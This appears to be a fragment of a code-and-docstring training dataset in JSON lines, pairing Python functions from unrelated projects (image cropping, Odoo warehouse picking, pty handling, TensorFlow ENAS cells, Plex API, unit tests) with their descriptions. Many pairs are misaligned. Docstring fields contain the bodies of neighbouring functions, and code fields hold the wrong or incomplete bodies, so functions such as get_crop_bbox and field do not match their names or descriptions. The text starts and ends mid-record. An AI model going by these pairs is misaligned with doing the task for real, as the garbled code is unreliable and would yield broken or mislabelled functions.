activation_callback=None):\n self.connection = connection\n self.name = name\n self.option = option\n self.send_yes = send_yes\n self.send_no = send_no\n self.ack_yes = ack_yes\n self.ack_no = ack_no\n self.state = initial_state\n self.active = False\n self.activation_callback = activation_callback\n", "nl": "Init option.:param connection: connection used to transmit answers:param name: a readable name for debug outputs:param send_yes: what to send when option is to be enabled.:param send_no: what to send when option is to be disabled.:param ack_yes: what to expect when remote agrees on option.:param ack_no: what to expect when remote disagrees on option.:param initial_state: options initialized with REQUESTED are tried tobe enabled on startup. use INACTIVE for all others."} {"code": "def get_crop_bbox(self, img):\n crop_y1, crop_y2, crop_x1, crop_x2 = crop_bbox\n img = img[crop_y1:crop_y2, crop_x1:crop_x2, ...]\n return img\n", "nl": "Randomly get a crop bounding box.margin_h = max(img.shape[0] - self.crop_size[0], 0)margin_w = max(img.shape[1] - self.crop_size[1], 0)offset_h = np.random.randint(0, margin_h + 1)offset_w = np.random.randint(0, margin_w + 1)crop_y1, crop_y2 = offset_h, offset_h + self.crop_size[0]crop_x1, crop_x2 = offset_w, offset_w + self.crop_size[1]return crop_y1, crop_y2, crop_x1, crop_x2def crop(self, img, crop_bbox):Crop from ``img``"} {"code": "def find_label_boundary_segments(self, verbose=False):\n self.find_label_boundary_per_label()\n\n self.label_boundary_segments = {}\n for a in self.set_manual_labels:\n for b in self.set_manual_labels:\n self.label_boundary_segments[(a,b)]=[]\n\n for Class in self.set_manual_labels:\n if verbose:\n print(Class)\n for vertex in self.label_boundary_per_label[Class]:\n neighbors = self.neighbors(vertex)\n A = set(self.Labels[neighbors])\n B = set(list([self.Labels[vertex]]))\n neighbor_labels = set.difference(A,B)\n for c in neighbor_labels:\n self.label_boundary_segments[(Class,c)] += [vertex]\n\n for key, value in list(self.label_boundary_segments.items()):\n if value == []:\n self.label_boundary_segments.pop(key)\n\n if verbose:\n for key in list(self.label_boundary_segments):\n print('For labels: {0} {1}'.\n format(key, self.label_boundary_segments[key]))\n\n self.highlighted_segment_file = 'highlighted_segments.vtk'\n color = 1\n colored_segments = np.zeros(self.Labels.shape)\n for value in list(self.label_boundary_segments.values()):\n colored_segments[value] = color\n color += 1\n write_vtk(self.highlighted_segment_file, self.Points,\n self.Vertices, [], self.Faces, [colored_segments],\n scalar_type='int')\n\n return self.label_boundary_segments, self.highlighted_segment_file\n", "nl": "Break up the label boundaries into segments (corresponding to same-label pairs).This method will output a dictionary to store label boundary segments (and subsegments).The key is a tuple of the currently assigned label and the adjacent label.The value is the set of vertices which comprise the segment.Note: Two different keys will correspond to two cosegments:The label boundary consists of a set of vertices on the surface meshtwo thick, following from the (>=2 label neighborhood) definition,so we call these \"label cosegments\".Returns-------self.label_boundary_segments: dict (key: tuple of labels, value: set of vertices)self.segment_file: string (pickled file containing the dictionary, for future, and faster, use)self.highlighted_segment_file: string (VTK file with boundary segments highlighted according to label)"} {"code": "def _lock_lines(self, lines):\n\n _inherit = \"base.shopfloor.validator\"\n _name = \"shopfloor.cluster_picking.validator\"\n _usage = \"cluster_picking.validator\"\n", "nl": "Lock move linessql = \"SELECT id FROM %s WHERE ID IN %%s FOR UPDATE\" % lines._tableself.env.cr.execute(sql, (tuple(lines.ids),), log_exceptions=False)def _unload_scan_destination_lines(self, batch, package, lines, barcode, confirmation=False):# Lock move lines that will be updatedself._lock_lines(lines)first_line = fields.first(lines)scanned_location = self._actions_for(\"search\").location_from_scan(barcode)if not scanned_location:return self._response_for_unload_set_destination(batch, package, message=self.msg_store.no_location_found())if not self.is_dest_location_valid(lines.move_id, scanned_location):return self._response_for_unload_set_destination(batch, package, message=self.msg_store.dest_location_not_allowed())if not confirmation and self.is_dest_location_to_confirm(first_line.location_dest_id, scanned_location):return self._response_for_confirm_unload_set_destination(batch, package)self._unload_write_destination_on_lines(lines, scanned_location)completion_info = self._actions_for(\"completion.info\")completion_info_popup = completion_info.popup(lines)return self._unload_next_package(batch, completion_info_popup=completion_info_popup)def _unload_next_package(self, batch, completion_info_popup=None):next_package = self._next_bin_package_for_unload_single(batch)if next_package:return self._response_for_unload_single(batch, next_package, popup=completion_info_popup)return self._unload_end(batch, completion_info_popup=completion_info_popup)class ShopfloorClusterPickingValidator(Component):Validators for the Cluster Picking endpoints"} {"code": "def field(self, obj, name):\n try:\n self._execute('ir.model.access', 'check', obj, mode)\n return True\n except (TypeError, Fault):\n return False\n", "nl": "Wrapper for :meth:`Model.field` method.return self.model(obj).field(name)def access(self, obj, mode='read'):Wrapper for :meth:`Model.access` method."} {"code": "def _sub_entity(self, x):\n return \"&\" + self.XML_SPECIAL_CHARS_TO_ENTITIES[x.group(0)[0]] + \";\"\n", "nl": "Used with a regular expression to substitute theappropriate XML entity for an XML special character."} {"code": "def any(self, criterion=None, **kwargs):\n\n return self.operate(PropComparator.any_op, criterion, **kwargs)\n", "nl": "rReturn true if this collection contains any member that meets thegiven criterion.The usual implementation of ``any()`` is:meth:`.RelationshipProperty.Comparator.any`.:param criterion: an optional ClauseElement formulated against themember class' table or attributes.:param \\**kwargs: key/value pairs corresponding to member classattribute names which will be compared via equality to thecorresponding values."} {"code": "def runTest(self):\n\n\t\tprint(u'Checking whether all files are compilable and valid ...\\n')\n\t\tfor folder in [\n\t\t\tu'plugins',\n\t\t\tu'extensions',\n\t\t\tu'libqtopensesame',\n\t\t\tu'libopensesame',\n\t\t\tu'openexp'\n\t\t\t]:\n\t\t\tself.checkFolder(folder)\n\nif __name__ == '__main__':\n\tunittest.main()", "nl": "desc:Checks the syntax of all `.py` source files."} {"code": "def coro_send_to_user(self, chat_id, html, context=None):\n if not self.memory.exists([\"user_data\", chat_id, \"_hangups\"]):\n logger.debug(\"{} is not a valid user\".format(chat_id))\n return False\n\n conversation = yield from self.get_1to1(chat_id)\n\n if conversation is False:\n logger.info(\"user {} is optout, no message sent\".format(chat_id))\n return True\n\n elif conversation is None:\n logger.info(\"1-to-1 for user {} is unavailable\".format(chat_id))\n return False\n\n logger.info(\"sending message to user {} via {}\".format(chat_id, conversation.id_))\n\n yield from self.coro_send_message(conversation, html, context=context)\n\n return True\n\n\n @asyncio.coroutine", "nl": "send a message to a specific user's 1-to-1the user must have already been seen elsewhere by the bot (have a permanent memory entry)"} {"code": "def print_stderr(self, err: str) -> None:\n matches: Dict[str, Optional[str]] = {\n \"coqtail_checked\": None,\n \"coqtail_sent\": None,\n \"coqtail_error\": None,\n }\n\n if self.endpoints != []:\n line, col = self.endpoints[-1]\n matches[\"coqtail_checked\"] = matcher[: line + 1, :col]\n\n if self.send_queue:\n sline, scol = self.endpoints[-1] if self.endpoints != [] else (0, -1)\n eline, ecol = self.send_queue[-1][\"stop\"]\n matches[\"coqtail_sent\"] = matcher[sline : eline + 1, scol:ecol]\n\n if self.error_at is not None:\n (sline, scol), (eline, ecol) = self.error_at\n matches[\"coqtail_error\"] = matcher[sline : eline + 1, scol:ecol]\n\n return matches\n", "nl": "Display a message from Coqtop stderr.if err != \"\":self.set_info(\"From stderr:\\n\" + err, reset=False)@propertydef highlights(self) -> Dict[str, Optional[str]]:Vim match patterns for highlighting."} {"code": "def get_notification(self):\n Return a list of notifications in chronological order.\n Note that this function is consuming, so consecutive calls\n will yield different results.\n \"\"\"", "nl": "Returns a notification. Note that this function is consuming.try:notif = self.q.get(block=False)return notifexcept Queue.Empty:return Nonedef get_all_notifications(self):"} {"code": "def setLoggerNoPrefix(self, logger_obj):\n for key in self._logger_methods:\n self._logger_methods[key] = mthd", "nl": " Sets log handler to ``logger_obj`` self._logger = logger_objself._logger_no_prefix = Truedef setLoggerAll(self, mthd): Sends all messages to ``logger.[mthd]()`` for handling "} {"code": "def inferred_type(self):\n return lib.infer_dtype(self, skipna=False)\n\n @cache_readonly", "nl": "Return a string of the type inferred from the values."} {"code": "def __init__(self, *args, **kwargs):\n try:\n self.__check(args[0])\n except IndexError:\n pass\n try:\n super(RestrictedClass, self).__init__(*args, **kwargs)\n except TypeError:\n super(RestrictedClass, self).__init__()\n", "nl": "Overloads the base_class __init__ method to check the input argumentagainst the validation function - returns on instance of the base_typeclass, which can be manipulated as per a usual Python object."} {"code": "def grblInitStatus(self):\n self.clearCom()\n self.sig_log.emit(logSeverity.info.value, self.tr(\"Sending abort to serial communications thread...\"))\n self.__Com.abort()\n for thread, worker in self.__threads:\n thread.quit()\n thread.wait()\n self.sig_log.emit(logSeverity.info.value, self.tr(\"Child(s) thread(s) terminated.\"))\n self.__grblInit = False\n self.__threads = []\n\n", "nl": " Renvoi le status dinitialisation de Grbl return self.__grblInitdef stopCom(self):self.sig_debug.emit(\"grblCom.stopCom(self)\") Stop le thread des communications serie "} {"code": "def test_get_acceptable_counterparties(self):\n with patch.object(\n self.db, \"is_registered\", return_value=False\n ) as mock_is_regostered:\n with patch.object(self.logger, \"log\") as mock_logger:\n is_valid = self.strategy.is_valid_counterparty(self.counterparty)\n\n mock_is_regostered.assert_any_call(self.counterparty)\n mock_logger.assert_any_call(\n logging.INFO, f\"Invalid counterparty={self.counterparty}, not registered!\",\n )\n assert is_valid is False\n", "nl": "Test the get_acceptable_counterparties method of the Strategy class.# setupcouterparties = (\"couterparty_1\", \"couterparty_2\", \"couterparty_3\")is_valid_counterparty = [True, False, True]# operationwith patch.object(self.strategy, \"is_valid_counterparty\", side_effect=is_valid_counterparty):actual_acceptable_counterparties = self.strategy.get_acceptable_counterparties(couterparties)# afterassert actual_acceptable_counterparties == (\"couterparty_1\", \"couterparty_3\")def test_is_valid_counterparty_i(self):Test the is_valid_counterparty method of the Strategy class where is_registered is False."} {"code": "def list_users(self):\n raise StoreMethodNotImplemented(\n 'this store does not handle listing users')\n", "nl": "Retrieve a list of all :py:class:`user` objects in the system."} {"code": "def compile_path(self, string, data):\n\n for k, v in data.iteritems():\n k = \"{\"+k+\"}\"\n if k in string:\n string = string.replace(k, v)\n\n while ' ' in string:\n string = string.replace(' ', ' ')\n\n while len(string) > 1 and string[-1] == u' ':\n string = string[:-1]\n\n string = self.map_remote(string)\n\n return self.sanitize(string)\n", "nl": " Compiles string to file/path names:param string: str brace-formatted string to substitue values:data data: dict of values to sub into stringTakes a renamer/mover path and adds values.ie '{title} {year} {resolution}' -> 'Movie 2017 1080P'Subs double spaces. Trims trailing spaces. Removes any invalid characters.Can return blank string ''Sends string to self.sanitize() to remove illegal charactersReturns str new path"} {"code": "def test_templates_course_detail_no_other_runs_msg(self):\n course = CourseFactory()\n page = course.extended_object\n CourseRunFactory(\n direct_course=course,\n start=self.now - timedelta(hours=1),\n end=self.now + timedelta(hours=2),\n enrollment_start=self.now - timedelta(hours=1),\n enrollment_end=self.now + timedelta(hours=2),\n )\n\n self.assertTrue(page.publish(\"en\"))\n url = page.get_absolute_url()\n response = self.client.get(url)\n self.assertEqual(response.status_code, 200)\n\n self.assertContains(response, \"No other course runs\")\n\n @override_settings(JOANIE={\"ENABLED\": True, \"BASE_URL\": \"https://joanie.test\"})", "nl": "Test if the `No other course runs` message is displayed when there is a single opencourse run."} {"code": "def get_terrain_height(self, code):\n", "nl": "code += [float get_terrain_height_%s(sampler2D heightmap, vec2 texcoord, HeightmapParameters params) {vec2 pos = texcoord * params.scale + params.offset;return decode_height(%s) * params.height_scale + %g;} % (self.name, self.filtering.apply('heightmap', 'pos'), self.heightmap.height_offset)]"} {"code": "def fixture_top():\n factor = 1e-3\n vertex_radius = 3e3\n vertex_density = 1900.0\n return factor, vertex_radius, vertex_density\n\n\n@pytest.fixture(name=\"quadratic_density\")", "nl": "Return a top boundarytop = 5e3return top@pytest.fixture(name=\"quadratic_params\")def fixture_quadratic_params():Return parameters for building a quadratic density function"} {"code": "def _copy(master_fd, master_read=_read, stdin_read=_read):\n fds = [master_fd, STDIN_FILENO]\n while True:\n rfds, wfds, xfds = select(fds, [], [])\n if master_fd in rfds:\n data = master_read(master_fd)\n if not data:\n fds.remove(master_fd)\n else:\n os.write(STDOUT_FILENO, data)\n if STDIN_FILENO in rfds:\n data = stdin_read(STDIN_FILENO)\n if not data:\n fds.remove(STDIN_FILENO)\n else:\n _writen(master_fd, data)\n", "nl": "Parent copy loop.Copiespty master -> standard output (master_read)standard input -> pty master (stdin_read)"} {"code": "def test_graceful_failure(mocked_func, caplog):\n mocked_func.side_effect = ValueError()\n sample = serialize(**SAMPLE_JSON)\n\n _result = Colorize(grammar_dir=GRAMMAR_DIR, theme_path=THEME_PATH).render(\n doc=sample,\n scope=\"source.json\",\n )\n assert \"rendered without color\" in caplog.text\n\n\nYAML_TXT = \"\"\"\n\nYAML_TXT_EXPECTED = [\n [SimpleLinePart(chars=\"\\n\", column=0, color=None, style=None)],\n [\n SimpleLinePart(chars=\"- \", column=0, color=None, style=None),\n SimpleLinePart(chars=\"ansible.builtin.debug\", column=2, color=(86, 156, 214), style=None),\n SimpleLinePart(chars=\":\\n\", column=23, color=None, style=None),\n ],\n [\n SimpleLinePart(chars=\" \", column=0, color=None, style=None),\n SimpleLinePart(chars=\"var\", column=4, color=(86, 156, 214), style=None),\n SimpleLinePart(chars=\": \", column=7, color=None, style=None),\n SimpleLinePart(chars=\"before\", column=9, color=(206, 145, 120), style=None),\n SimpleLinePart(chars=\"\\n\", column=15, color=None, style=None),\n ],\n [SimpleLinePart(chars=\"\\n\", column=0, color=None, style=None)],\n [SimpleLinePart(chars=\"\n [SimpleLinePart(chars=\"\\n\", column=0, color=None, style=None)],\n [\n SimpleLinePart(chars=\"- \", column=0, color=None, style=None),\n SimpleLinePart(chars=\"ansible.builtin.debug\", column=2, color=(86, 156, 214), style=None),\n SimpleLinePart(chars=\":\\n\", column=23, color=None, style=None),\n ],\n [\n SimpleLinePart(chars=\" \", column=0, color=None, style=None),\n SimpleLinePart(chars=\"var\", column=4, color=(86, 156, 214), style=None),\n SimpleLinePart(chars=\": \", column=7, color=None, style=None),\n SimpleLinePart(chars=\"after\", column=9, color=(206, 145, 120), style=None),\n SimpleLinePart(chars=\"\\n\", column=14, color=None, style=None),\n ],\n]\n\n", "nl": "Ensure a tokenization error returns the original one line json stringw/o color and the log reflects the critical error"} {"code": "def _mask_and_avg(values, loss_weights):\n if loss_weights == None:\n return tf.reduce_mean(tf.stack(values, axis=0))\n\n dec_lens = tf.reduce_sum(loss_weights, axis=1)\n values_per_step = [v * loss_weights[:,dec_step] for dec_step,v in enumerate(values)]\n values_per_ex = sum(values_per_step)/dec_lens\n return tf.reduce_mean(values_per_ex)\n\n", "nl": "Applies mask to values then returns overall average (a scalar)Args:values: a list length max_dec_steps containing arrays shape (batch_size).loss_weights: tensor shape (batch_size, max_dec_steps) containing 1s and 0s.Returns:a scalar"} {"code": "def predict(self, *args, **kwargs) -> Any:\n raise NotImplementedError()\n", "nl": "Take as input a tensor and returns a predictionreturn self(*args, **kwargs)@abstractmethoddef run(self, *args, **kwargs) -> Any:Abstract method implementing the prediction code."} {"code": "def list_ignored():\n out = __salt__['cmd.run']('/usr/sbin/softwareupdate --ignore')\n ignored = []\n\n for line in out.splitlines():\n if re.search('^\\s{4}\"(.*)\"', line):\n ignored.append(re.match('^\\s{4}\"(.*)\"', line).group(1))\n\n return ignored\n\n", "nl": "List updates which have been ignoredCLI Example:.. code-block:: bashsalt '*' swupd.list_ignored"} {"code": "def __macroHandle(self, selection):\n self.__comboMacro.setCurrentIndex(0)\n selection = str(selection)\n\n if selection in self.__macroList:\n self.__addComment(self.__macroList[selection][0],\n self.__macroList[selection][1])\n self.refreshComments()\n self.__treeSubjects.setFocus(QtCore.Qt.OtherFocusReason)\n\n elif selection == PREDEFINED_COMMENT_ADD:\n commentMacroDialog = CommentMacroDialog(\"\", \"\", \"\", self)\n if commentMacroDialog.exec_():\n (name, subject, message) = list(commentMacroDialog.values())\n self.__macroList[name] = [subject, message]\n self.__macroSave()\n self.__macroRefresh()\n\n elif selection == PREDEFINED_COMMENT_DELETE:\n (comment, choice) = self.__macroSelectDialog(\"delete\")\n if choice:\n if comment in self.__macroList:\n del self.__macroList[comment]\n self.__macroSave()\n self.__macroRefresh()\n\n elif selection == PREDEFINED_COMMENT_EDIT:\n (comment, choice) = self.__macroSelectDialog(\"edit\")\n if choice:\n if comment in self.__macroList:\n commentMacroDialog = CommentMacroDialog(comment,\n self.__macroList[comment][0],\n self.__macroList[comment][1],\n self)\n if commentMacroDialog.exec_():\n (name, subject, message) = list(commentMacroDialog.values())\n\n if name != comment:\n del self.__macroList[comment]\n\n self.__macroList[name] = [subject, message]\n self.__macroSave()\n self.__macroRefresh()\n", "nl": "Called when the comment macro combo box is selected@type selection: str@param selection: The text of the selected item"} {"code": "def _enas_cell(self, x, curr_cell, prev_cell, op_id, out_filters):\n\n with tf.variable_scope(\"conv_{0}x{0}\".format(filter_size)):\n num_possible_inputs = curr_cell + 2\n for conv_id in range(stack_conv):\n with tf.variable_scope(\"stack_{0}\".format(conv_id)):\n inp_c = self._get_C(x)\n w_depthwise = create_weight(\n \"w_depth\", [num_possible_inputs, filter_size * filter_size * inp_c])\n w_depthwise = w_depthwise[prev_cell, :]\n w_depthwise = tf.reshape(\n w_depthwise, [filter_size, filter_size, inp_c, 1])\n\n w_pointwise = create_weight(\n \"w_point\", [num_possible_inputs, inp_c * out_filters])\n w_pointwise = w_pointwise[prev_cell, :]\n w_pointwise = tf.reshape(w_pointwise, [1, 1, inp_c, out_filters])\n\n with tf.variable_scope(\"bn\"):\n zero_init = tf.initializers.zeros(dtype=tf.float32)\n one_init = tf.initializers.ones(dtype=tf.float32)\n offset = create_weight(\n \"offset\", [num_possible_inputs, out_filters],\n initializer=zero_init)\n scale = create_weight(\n \"scale\", [num_possible_inputs, out_filters],\n initializer=one_init)\n offset = offset[prev_cell]\n scale = scale[prev_cell]\n\n x = tf.nn.relu(x)\n x = tf.nn.separable_conv2d(\n x,\n depthwise_filter=w_depthwise,\n pointwise_filter=w_pointwise,\n strides=[1, 1, 1, 1], padding=\"SAME\",\n data_format=self.data_format)\n x, _, _ = tf.nn.fused_batch_norm(\n x, scale, offset, epsilon=1e-5, data_format=self.data_format,\n is_training=True)\n return x\n", "nl": "Performs an enas operation specified by op_id.num_possible_inputs = curr_cell + 1with tf.variable_scope(\"avg_pool\"):avg_pool = tf.layers.average_pooling2d(x, [3, 3], [1, 1], \"SAME\", data_format=self.actual_data_format)avg_pool_c = self._get_C(avg_pool)if avg_pool_c != out_filters:with tf.variable_scope(\"conv\"):w = create_weight(\"w\", [num_possible_inputs, avg_pool_c * out_filters])w = w[prev_cell]w = tf.reshape(w, [1, 1, avg_pool_c, out_filters])avg_pool = tf.nn.relu(avg_pool)avg_pool = tf.nn.conv2d(avg_pool, w, strides=[1, 1, 1, 1],padding=\"SAME\", data_format=self.data_format)avg_pool = batch_norm(avg_pool, is_training=True,data_format=self.data_format)with tf.variable_scope(\"max_pool\"):max_pool = tf.layers.max_pooling2d(x, [3, 3], [1, 1], \"SAME\", data_format=self.actual_data_format)max_pool_c = self._get_C(max_pool)if max_pool_c != out_filters:with tf.variable_scope(\"conv\"):w = create_weight(\"w\", [num_possible_inputs, max_pool_c * out_filters])w = w[prev_cell]w = tf.reshape(w, [1, 1, max_pool_c, out_filters])max_pool = tf.nn.relu(max_pool)max_pool = tf.nn.conv2d(max_pool, w, strides=[1, 1, 1, 1],padding=\"SAME\", data_format=self.data_format)max_pool = batch_norm(max_pool, is_training=True,data_format=self.data_format)x_c = self._get_C(x)if x_c != out_filters:with tf.variable_scope(\"x_conv\"):w = create_weight(\"w\", [num_possible_inputs, x_c * out_filters])w = w[prev_cell]w = tf.reshape(w, [1, 1, x_c, out_filters])x = tf.nn.relu(x)x = tf.nn.conv2d(x, w, strides=[1, 1, 1, 1], padding=\"SAME\",data_format=self.data_format)x = batch_norm(x, is_training=True, data_format=self.data_format)out = [self._enas_conv(x, curr_cell, prev_cell, 3, out_filters),self._enas_conv(x, curr_cell, prev_cell, 5, out_filters),avg_pool,max_pool,x,]out = tf.stack(out, axis=0)out = out[op_id, :, :, :, :]return outdef _enas_conv(self, x, curr_cell, prev_cell, filter_size, out_filters,stack_conv=2):Performs an enas convolution specified by the relevant parameters."} {"code": "def compute_token_type_ids(batch, separator_token_id):\n batch_embeddings = []\n for sequence in batch:\n sentence_num = 0\n embeddings = []\n for s in sequence:\n if s == separator_token_id:\n sentence_num += 1\n embeddings.append(sentence_num % 2)\n batch_embeddings.append(embeddings)\n return torch.tensor(batch_embeddings)", "nl": " Segment embeddings as described in [1]The values {0,1} were found in the repository [2].Attributes:batch: torch.Tensor, size [batch_size, block_size]Batch of input.separator_token_id: intThe value of the token that separates the segments.[1] Liu, Yang, and Mirella Lapata. \"Text summarization with pretrained encoders.\"arXiv preprint arXiv:1908.08345 (2019).[2] https://github.com/nlpyang/PreSumm (/src/prepro/data_builder.py, commit fac1217)"} {"code": "def logfile(self):\n\n return self.cachefile('%s.log' % self.bundleid)\n\n @property", "nl": "Return path to logfile:returns: path to logfile within workflow's cache directory:rtype: ``unicode``"} {"code": "def checkout_confirm_render(self, request) -> str:\n template = get_template('pretixplugins/paypal2/checkout_payment_confirm.html')\n ctx = {'request': request, 'event': self.event, 'settings': self.settings}\n return template.render(ctx)\n", "nl": "Returns the HTML that should be displayed when the user selected this provideron the 'confirm order' page."} {"code": "def get_remote_url(cls, location: str) -> str:\n stdout = cls.run_command(\n [\"config\", \"--get-regexp\", r\"remote\\..*\\.url\"],\n extra_ok_returncodes=(1,),\n show_stdout=False,\n stdout_only=True,\n cwd=location,\n )\n remotes = stdout.splitlines()\n try:\n found_remote = remotes[0]\n except IndexError:\n raise RemoteNotFoundError\n\n for remote in remotes:\n if remote.startswith(\"remote.origin.url \"):\n found_remote = remote\n break\n url = found_remote.split(\" \")[1]\n return cls._git_remote_to_pip_url(url.strip())\n\n @staticmethod", "nl": "Return URL of the first remote encountered.Raises RemoteNotFoundError if the repository does not have a remoteurl configured."} {"code": "def test_05(self):\n self.assertEqual(self.vimMode, 'normal')\n self.click('R')\n self.assertEqual(self.vimMode, 'replace')\n self.click('asdf')\n self.assertEqual(self.qpart.lines[0],\n 'asdfquick brown fox')\n self.click(Qt.Key_Escape)\n self.assertEqual(self.vimMode, 'normal')\n\n self.click('R')\n self.assertEqual(self.vimMode, 'replace')\n self.click(Qt.Key_Insert)\n self.assertEqual(self.vimMode, 'insert')\n", "nl": " Replace mode"} {"code": "def storeMessage(self, requestId, messageRequest):\n pass\n", "nl": "Parameters:- requestId- messageRequest"} {"code": "def searchPhotos(self, title, **kwargs):\n while searching for library items and is the object returned in the result set of\n :func:`~plexapi.library.LibrarySection.listChoices()`.\n\n Attributes:\n TAG (str): 'Directory'\n server (:class:`~plexapi.server.PlexServer`): PlexServer this client is connected to.\n initpath (str): Relative path requested when retrieving specified `data` (optional).\n fastKey (str): API path to quickly list all items in this filter\n (/library/sections/
/all?genre=)\n key (str): Short key (id) of this filter option (used ad in fastKey above).\n thumb (str): Thumbnail used to represent this filter option.\n title (str): Human readable name for this filter option.\n type (str): Filter type (genre, contentRating, etc).\n \"\"\"", "nl": " Search for a photo. See :func:`~plexapi.library.LibrarySection.search()` for usage. key = '/library/sections/%s/all?type=13' % self.keyreturn self.fetchItems(key, title=title)class FilterChoice(PlexObject): Represents a single filter choice. These objects are gathered when using filters"} {"code": "def u(string, errors='strict'):\n if isinstance(string, bytes):\n return unicode(string, encoding='UTF-8', errors=errors)\n return string\n\n", "nl": "Cast to unicode DAMMIT!Written because Python2 repr always implicitly casts to a string, so wehave to cast back to a unicode (and we now that we always deal with validunicode, because we check that in the beginning)."} {"code": "def test(self, session: Session, condition: MapCondition) -> bool:\n npc_location = None\n\n npc = get_npc(session, condition.parameters[0])\n if not npc:\n return False\n\n if npc.tile_pos[1] == session.player.tile_pos[1]:\n if npc.tile_pos[0] == session.player.tile_pos[0] - 1:\n logger.debug(\"NPC is to the left of the player\")\n npc_location = \"left\"\n elif npc.tile_pos[0] == session.player.tile_pos[0] + 1:\n logger.debug(\"NPC is to the right of the player\")\n npc_location = \"right\"\n\n if npc.tile_pos[0] == session.player.tile_pos[0]:\n if npc.tile_pos[1] == session.player.tile_pos[1] - 1:\n logger.debug(\"NPC is above the player\")\n npc_location = \"up\"\n elif npc.tile_pos[1] == session.player.tile_pos[1] + 1:\n logger.debug(\"NPC is below the player\")\n npc_location = \"down\"\n\n return session.player.facing == npc_location", "nl": "Check to see the player is next to and facing a particular NPC.Parameters:session: The session objectcondition: The map condition object.Returns:Whether the player is facing the chosen character."} {"code": "def to_str(self):\n return self.to_str()\n", "nl": "Returns the string representation of the modelreturn pprint.pformat(self.to_dict())def __repr__(self):For `print` and `pprint`"} {"code": "def update_task(name, context=None, **kwargs):\n with _get_logger(context=context) as logger:\n config = TaskConfiguration(context=context, logger=logger)\n if name is None or len(name) == 0:\n raise_value_error(ERR_NO_TASK_NAME)\n item = config.get_config_item(name)\n if item is None:\n raise_value_error(ERR_TASK_DOES_NOT_EXIST, name)\n\n args = copy.deepcopy(kwargs)\n args[configuration.CONFIG_TASK_NAME] = name\n stack_id = item.get(configuration.CONFIG_STACK_ID)\n if stack_id is not None:\n args[configuration.CONFIG_STACK_ID] = stack_id\n item = config.put_config_item(**args)\n return item\n\n", "nl": "Updates the specified task. An exception is raised when the action does not exist.:param name: Name of the task. This name overwrites the name in kwargs if it is used there:param kwargs: Task parameters dictionary, see create_task for details.:param context: Lambda context:return: Updated task item"} {"code": "def test_noCheckum(self):\n splitSentence = nmea._split(b\"$GPGGA,spam,eggs*\")\n self.assertEqual(splitSentence, [b'GPGGA', b'spam', b'eggs'])\n\n\n\nclass ChecksumTests(TestCase):\n \"\"\"", "nl": "An NMEA sentence without a checksum gets split correctly."} {"code": "def visit_base(self, node):\n self._pprint(node)\n self._visit_func(node)\n", "nl": "visits a base class.self._pprint(node)self.visit(node) # Walk farther down the treedef _visit_func(self, node):name = node.attrib['name']if name.startswith('_') or name in FORBIDDEN_NAMES:warn_forbidden_name(name, self.name)returndemangled = node.attrib.get('demangled', \"\")demangled = demangled if name + '<' in demangled \\and '>' in demangled else Noneif demangled is None:# normal functionself._currfunc.append(name)else:# template functionself._currfunc.append(self._visit_template_function(node))self._currfuncsig = []self._currargkind = []self._level += 1for child in node.iterfind('Argument'):self.visit_argument(child)self._level -= 1if node.tag == 'Constructor':rtntype = Noneelif node.tag == 'Destructor':rtntype = Noneif demangled is None:self._currfunc[-1] = '~' + self._currfunc[-1]else:self._currfunc[-1] = ('~' + self._currfunc[-1][0],) + \\self._currfunc[-1][1:]else:rtntype = self.type(node.attrib['returns'])funcname = self._currfunc.pop()if self._currfuncsig is None:returnkey = (funcname,) + tuple(self._currfuncsig)self.desc[self._funckey][key] = {'return': rtntype,'defaults': tuple(self._currargkind)}self._currfuncsig = Noneself._currargkind = Nonedef visit_constructor(self, node):visits a class constructor."} {"code": "def filter_sample(self, sample):\n assert self.built\n return dict(filter(lambda item: self._prior_chain[item[0]].tracked, sample.items()))\n", "nl": "Filters a dict's keys to only those where prior variable of same name is tracked.Used for removing untracked priors from a dict.Args:sample: dictReturns:dict with only keys that correspond to names being tracked."} {"code": "def get(self, key, withIdentifier=False):\n return self._get([key], withIdentifier, False)\n\n", "nl": "Get the given C{key}. It doesn't support multiple keys. IfC{withIdentifier} is set to C{True}, the command issued is a C{gets},that will return the current identifier associated with the value. Thisidentifier has to be used when issuing C{checkAndSet} update later,using the corresponding method.@param key: The key to retrieve.@type key: L{bytes}@param withIdentifier: If set to C{True}, retrieve the currentidentifier along with the value and the flags.@type withIdentifier: L{bool}@return: A deferred that will fire with the tuple (flags, value) ifC{withIdentifier} is C{False}, or (flags, cas identifier, value)if C{True}. If the server indicates there is no valueassociated with C{key}, the returned value will be L{None} andthe returned flags will be C{0}.@rtype: L{Deferred}"} {"code": "def get_slice(self, key, column_parent, predicate, consistency_level):\n pass\n", "nl": "Get the group of columns contained by column_parent (either a ColumnFamily name or a ColumnFamily/SuperColumn namepair) specified by the given SlicePredicate. If no matching values are found, an empty list is returned.Parameters:- key- column_parent- predicate- consistency_level"} {"code": "def test_is_active_property(self):\n assert isinstance(self.skill_context.new_behaviours, Queue)\n", "nl": "Test is_active property getter.assert self.skill_context.is_active is Truedef test_new_behaviours_queue(self):Test 'new_behaviours_queue' property getter."} {"code": "def test_noPipelining(self):\n b = StringTransport()\n a = http.HTTPChannel()\n a.requestFactory = DelayedHTTPHandler\n a.makeConnection(b)\n for byte in iterbytes(self.requests):\n a.dataReceived(byte)\n value = b.value()\n\n self.assertEqual(value, b'')\n self.assertEqual(1, len(a.requests))\n\n while a.requests:\n self.assertEqual(1, len(a.requests))\n a.requests[0].delayedProcess()\n\n value = b.value()\n self.assertResponseEquals(value, self.expected_response)\n\n\n\nclass HTTP1_1Tests(HTTP1_0Tests):\n\n requests = (\n b\"GET / HTTP/1.1\\r\\n\"\n b\"Accept: text/html\\r\\n\"\n b\"\\r\\n\"\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Content-Length: 10\\r\\n\"\n b\"\\r\\n\"\n b\"0123456789POST / HTTP/1.1\\r\\n\"\n b\"Content-Length: 10\\r\\n\"\n b\"\\r\\n\"\n b\"0123456789HEAD / HTTP/1.1\\r\\n\"\n b\"\\r\\n\")\n\n expected_response = [\n (b\"HTTP/1.1 200 OK\",\n b\"Request: /\",\n b\"Command: GET\",\n b\"Version: HTTP/1.1\",\n b\"Content-Length: 13\",\n b\"'''\\nNone\\n'''\\n\"),\n (b\"HTTP/1.1 200 OK\",\n b\"Request: /\",\n b\"Command: POST\",\n b\"Version: HTTP/1.1\",\n b\"Content-Length: 21\",\n b\"'''\\n10\\n0123456789'''\\n\"),\n\n\n\nclass HTTP0_9Tests(HTTP1_0Tests):\n\n requests = (\n b\"GET /\\r\\n\")\n\n expected_response = b\"HTTP/1.1 400 Bad 